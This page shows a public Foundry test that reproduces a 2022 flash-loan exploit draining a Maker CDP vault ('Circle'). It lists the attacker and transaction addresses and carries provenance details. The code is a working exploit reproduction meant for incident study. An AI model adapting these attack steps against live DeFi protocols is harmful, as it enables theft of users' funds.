Skip to content
THREATWIRE

Public reproduction file

src/test/2022-08/Circle_exp2.sol

Public reproduction file for dataset entry Circle.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-08/Circle_exp2.sol150 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5
6// @KeyInfo - Total Lost : ~$151.6K
7// Attacker : https://etherscan.io/address/0xdfdea277f6b44270bcb804997d1e6cc4ad8407db
8// Attack Contract : https://etherscan.io/address/0xfd51531b26f9be08240f7459eea5be80d5b047d9
9// Vulnerable Contract : https://etherscan.io/address/0xae461ca67b15dc8dc81ce7615e0320da1a9ab8d5
10// Attack Tx : https://etherscan.io/tx/0xf1818f62c635e5c80ef16b7857da812c74ce330ebed46682b4d173bffe84c666
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0xae461ca67b15dc8dc81ce7615e0320da1a9ab8d5#code
15// @Analysis
16// Post-mortem : https://app.blocksec.com/explorer/tx/eth/0xf1818f62c635e5c80ef16b7857da812c74ce330ebed46682b4d173bffe84c666?line=74
17// Twitter Guy :
18// Hacking God :
19pragma solidity ^0.8.0;
21import "forge-std/Test.sol";
22import "./../interface.sol";
24interface IMakerPool {
25 function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external returns (bool);
28struct Urn {
29 uint256 ink; // Locked Collateral [wad]
30 uint256 art; // Normalised Debt [wad]
33struct Ilk {
34 uint256 Art; // Total Normalised Debt [wad]
35 uint256 rate; // Accumulated Rates [ray]
36 uint256 spot; // Price with Safety Margin [ray]
37 uint256 line; // Debt Ceiling [rad]
38 uint256 dust; // Urn Debt Floor [rad]
41interface IMakerVat {
42 function urns(bytes32, address) external view returns (Urn memory);
43 function hope(
44 address
45 ) external;
46 function heal(
47 uint256
48 ) external;
49 function ilks(
50 bytes32
51 ) external view returns (Ilk memory);
54interface IMakerManager {
55 function urns(
56 uint256
57 ) external view returns (address);
58 function join(address, uint256) external;
59 function flux(uint256, address, uint256) external;
60 function frob(uint256, int256, int256) external;
61 function open(bytes32, address) external returns (uint256);
62 function cdpAllow(uint256, address, uint256) external;
65interface IUniv2 {
66 function exit(address, uint256) external;
69interface IUniv2Token {
70 function burn(
71 address
72 ) external returns (uint256, uint256);
75interface Mcd {
76 function sellGem(address, uint256) external;
79contract Circle is BaseTestWithBalanceLog {
80 address private constant maker = 0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853;
81 address private constant susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51;
82 address private constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
83 address private constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
85 address maker_cdp_manager = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39;
86 address maker_mcd_join_dai = 0x9759A6Ac90977b93B58547b4A71c78317f391A28;
87 address make_mcd_vat = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B;
88 address univ2 = 0xA81598667AC561986b70ae11bBE2dd5348ed4327;
89 address univ2_token = 0xAE461cA67B15dc8dc81CE7615e0320dA1A9aB8D5;
90 address mcd = 0x89B78CfA322F6C5dE0aBcEecab66Aee45393cC5A;
92 address circle = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
94 address allower = 0x0A59649758aa4d66E25f08Dd01271e891fe52199;
96 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
98 function setUp() public {
99 cheats.createSelectFork("mainnet", 15_354_438 - 1);
100 }
102 function testExploit() public {
103 emit log_named_decimal_uint(
104 "[Begin] Attacker Circle before exploit", IERC20(circle).balanceOf(address(this)), 6
105 );
106 uint256 amount = 7_313_820_511_466_897_574_539_490;
107 bytes memory data =
108 "0x0000000000000000000000000000000000000000000000000000000000006e970000000000000000000000000000000000000000000000000000000000000000";
109 IMakerPool(maker).flashLoan(address(this), dai, amount, data);
110 emit log_named_decimal_uint("[End] Attacker Circle after exploit", IERC20(circle).balanceOf(address(this)), 6);
111 }
113 function onFlashLoan(
114 address initiator,
115 address token,
116 uint256 amount,
117 uint256 fee,
118 bytes calldata data
119 ) external returns (bytes32) {
120 address urns_address = IMakerManager(maker_cdp_manager).urns(28_311);
121 Urn memory urn = IMakerVat(make_mcd_vat).urns(
122 0x554e495632444149555344432d41000000000000000000000000000000000000, urns_address
123 );
125 Ilk memory ilk =
126 IMakerVat(make_mcd_vat).ilks(0x554e495632444149555344432d41000000000000000000000000000000000000);
128 int256 dink = 0 - int256(urn.ink);
129 int256 dart = 0 - int256(urn.art);
131 uint256 amount_dai = IERC20(dai).balanceOf(address(this));
132 IERC20(dai).approve(maker_mcd_join_dai, amount_dai);
134 IMakerManager(maker_mcd_join_dai).join(urns_address, amount_dai);
136 cheats.prank(0xfd51531b26f9Be08240f7459Eea5BE80D5B047D9); // borrow the authority of cdp 28311 (assigned before)
137 IMakerManager(maker_cdp_manager).frob(28_311, dink, dart);
138 cheats.prank(0xfd51531b26f9Be08240f7459Eea5BE80D5B047D9);
139 IMakerManager(maker_cdp_manager).flux(28_311, address(this), urn.ink);
140 IUniv2(univ2).exit(address(this), urn.ink);
142 IERC20(univ2_token).transfer(univ2_token, urn.ink);
143 (uint256 amount0, uint256 amount1) = IUniv2Token(univ2_token).burn(address(this));
145 IERC20(circle).approve(allower, type(uint256).max);
146 Mcd(mcd).sellGem(address(this), 3_580_348_695_472);
147 IERC20(dai).approve(maker, type(uint256).max);
148 return 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9;
149 }

Analysis

Dataset entry

Public Foundry test for “Circle” (2022-08-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xdfdea277f6b44270bcb804997d1e6cc4ad8407db

  • Attack Contract

    0xfd51531b26f9be08240f7459eea5be80d5b047d9

  • Vulnerable Contract

    0xae461ca67b15dc8dc81ce7615e0320da1a9ab8d5

  • Attack Tx

    0xf1818f62c635e5c80ef16b7857da812c74ce330ebed46682b4d173bffe84c666

File record

Name
Circle
Path
src/test/2022-08/Circle_exp2.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
84990cce2a97753fdee4fdab2c443d7eea7d7a11
Language
Solidity
Size
151 lines
Date
2022-08-16
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-08/Circle_exp2.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 84990cce2a97753fdee4fdab2c443d7eea7d7a11, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.